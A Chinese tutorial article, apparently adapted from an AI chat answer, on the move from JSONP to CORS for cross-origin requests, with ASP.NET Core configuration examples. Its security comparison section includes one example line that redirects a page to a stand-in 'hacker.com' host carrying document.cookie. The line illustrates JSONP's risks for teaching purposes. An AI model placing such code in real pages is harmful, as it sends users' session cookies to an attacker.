在Web开发领域，CORS（跨源资源共享）是每个前端开发者都会遇到的关键概念。但为什么我们如今使用CORS，而曾经流行的JSONP却逐渐退出历史舞台？本文将带您深入理解跨域解决方案从JSONP到CORS的技术演进历程。

第一部分：理解CORS - 跨域资源共享

什么是CORS？

CORS（Cross-Origin Resource Sharing，跨源资源共享）是浏览器强制执行的一种安全机制，用于解决"同源策略"带来的限制。

同源策略要求协议、域名、端口完全相同的请求才被允许。例如：

  • https://www.example.com → https://api.example.com ❌ 跨域
  • http://localhost:3000 → http://localhost:8080 ❌ 跨域

CORS的工作原理

当浏览器检测到跨域请求时，会执行以下流程：

  1. 发送预检请求：对于非简单请求，浏览器先发送OPTIONS请求
  2. 服务器响应：后端返回包含CORS头部的响应
  3. 浏览器验证：浏览器检查头部，决定是否放行
  4. 实际请求：验证通过后发送真正的请求
# 预检请求
OPTIONS /api/data HTTP/1.1
Origin: https://www.example.com
Access-Control-Request-Method: POST

# 服务器响应
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type

为什么配置服务端CORS就能解决问题？

关键在于：CORS的决定权在服务器，浏览器只是执行者。

当您在.NET服务端配置CORS时，有多种方式：

ASP.NET Core 全局配置：

// Program.cs
var builder = WebApplication.CreateBuilder(args);

builder.Services.AddCors(options =>
{
    options.AddPolicy("AllowSpecificOrigin",
        policy =>
        {
            policy.WithOrigins("https://www.example.com")
                  .AllowAnyMethod()
                  .AllowAnyHeader()
                  .AllowCredentials();
        });
});

var app = builder.Build();
app.UseCors("AllowSpecificOrigin");

控制器级别配置：

[ApiController]
[Route("api/[controller]")]
[EnableCors("AllowSpecificOrigin")]
public class UsersController : ControllerBase
{
    [HttpGet]
    public IActionResult GetUsers()
    {
        var users = new[] { "John", "Jane", "Bob" };
        return Ok(users);
    }
}

Action级别配置：

[ApiController]
[Route("api/[controller]")]
public class ProductsController : ControllerBase
{
    [HttpGet]
    [EnableCors("AllowSpecificOrigin")]
    public IActionResult GetProducts()
    {
        // 返回产品数据
    }
    
    [HttpPost]
    [DisableCors]
    public IActionResult CreateProduct(Product product)
    {
        // 创建产品，禁用CORS
    }
}

这些配置会在HTTP响应中添加必要的CORS头部，相当于给浏览器颁发"跨域通行证"。浏览器看到这些头部后，就知道该请求被服务器明确允许，自然不再阻止。

第二部分：历史的回声 - 为什么会有JSONP？

您提出了一个非常好的问题！这触及了Web技术演进的核心。JSONP的出现和CORS的普及背后有着深刻的历史和技术原因。

简单来说：JSONP是在CORS标准出现之前，开发者为了绕过浏览器限制而发明的"临时解决方案"。

为什么会有JSONP：历史背景

1. 时间线问题

  • JSONP（约2005年）：在Web 2.0时代早期，开发者迫切需要实现跨域数据交换，但当时没有官方的跨域解决方案。
  • CORS（约2009年）：作为W3C标准被提出，但浏览器支持需要时间，直到几年后才在各主流浏览器中完善。

在CORS出现之前，开发者面临一个困境：前端需要从不同域获取数据，但浏览器严格阻止这种行为。

2. 浏览器的"漏洞"：<script>标签没有同源限制

聪明的开发者发现：虽然XMLHttpRequest受同源策略限制，但**<script>标签的src属性可以加载来自任何域的JavaScript文件**。

JSONP就是利用了这个"漏洞"。

JSONP的工作原理

JSONP的核心思想：让服务器返回的不是纯JSON，而是一段可执行的JavaScript代码。

具体步骤：

  1. 前端定义一个全局回调函数：function handleResponse(data) { ... }
  2. 动态创建一个<script>标签，其src指向目标API，并附带回调函数名作为参数： 
    <script src="https://api.example.com/data?callback=handleResponse"></script>
  3. 服务器收到请求后，不是返回纯JSON，而是返回用回调函数包裹的JavaScript代码： 
    handleResponse({"name": "John", "age": 30})
  4. 浏览器执行这段返回的JavaScript，自动调用前端的回调函数，数据就传递过来了。

为什么JSONP曾经流行，现在却逐渐被淘汰？

JSONP的优点（在当时）：

  • 兼容性极好：在所有支持JavaScript的浏览器中都能工作
  • 无需服务器额外配置（相对早期的CORS实现而言）
  • 解决了一个紧迫的业务需求

JSONP的致命缺陷：

  1. 仅支持GET请求：无法进行POST、PUT、DELETE等操作
  2. 安全性差：
    • 容易遭受XSS攻击
    • 服务器被黑返回恶意代码时，前端无法防御
    • 没有错误处理机制
  3. 缺乏标准化：每个服务商实现方式略有不同
  4. 难以调试：失败时没有清晰的错误信息

现实世界的演进过程

timeline
    title 跨域解决方案演进时间线
    section 2005年左右
        JSONP时代 : 开发者发现&lt;script&gt;标签漏洞<br>实现跨域数据获取
    section 2009年
        CORS标准诞生 : W3C制定官方标准<br>但浏览器支持需要时间
    section 2010-2013年
        过渡期 : 新旧浏览器并存<br>JSONP仍广泛使用
    section 2014年至今
        CORS主流 : 现代浏览器全面支持<br>成为推荐方案

为什么现在还能看到JSONP？

  1. 遗留系统：一些老系统没有升级到CORS
  2. 特殊场景：需要支持极度老旧的浏览器（如IE7）
  3. 第三方服务：某些API为了最大兼容性仍提供JSONP端点

第三部分：CORS vs JSONP - 技术对比

功能对比表

特性 JSONP CORS
HTTP方法支持 仅GET 所有HTTP方法
数据格式 必须是JS包装的JSON 原生JSON、XML等
安全性 低（直接执行代码） 高（浏览器验证）
错误处理 困难且不标准 标准HTTP状态码
标准化程度 非官方Hack W3C官方标准
请求控制 无 可携带凭证、自定义头
现代框架支持 逐渐淘汰 原生支持

安全性对比

JSONP的安全风险：

// 恶意服务器可能返回
maliciousCode(); 
// 或者
document.location = 'http://hacker.com/steal?cookie=' + document.cookie;

CORS的安全机制：

// .NET CORS配置提供精细控制
services.AddCors(options =>
{
    options.AddPolicy("SecurePolicy", policy =>
    {
        policy.WithOrigins("https://trusted-domain.com")
              .WithMethods("GET", "POST")
              .WithHeaders("Content-Type", "Authorization")
              .AllowCredentials();
    });
});

性能考虑

JSONP的局限性：

  • 仅支持GET，不适合大数据量传输
  • 无压缩支持
  • 缓存策略受限

CORS的优势：

  • 支持所有HTTP方法
  • 可启用GZIP压缩
  • 完整的缓存控制
  • 支持分块传输编码

结论

从JSONP到CORS的技术演进，体现了Web开发从"巧妙Hack"到"标准解决方案"的成熟过程。这种演进不仅仅是技术实现的变化，更是工程思维和安全理念的进步。

关键启示：

  1. 标准的重要性：临时解决方案虽能解燃眉之急，但标准化才是长久之计
  2. 安全优先：CORS的精细控制远比JSONP的"全有或全无"更安全
  3. 平台优势：.NET提供了强大而灵活的CORS支持，让跨域配置变得简单可靠

在现代Web开发中，虽然我们主要使用CORS解决跨域问题，但理解JSONP的历史和原理仍然有价值——它提醒我们，技术创新往往源于对限制的创造性突破，而工程成熟度体现在用更好的标准取代临时方案。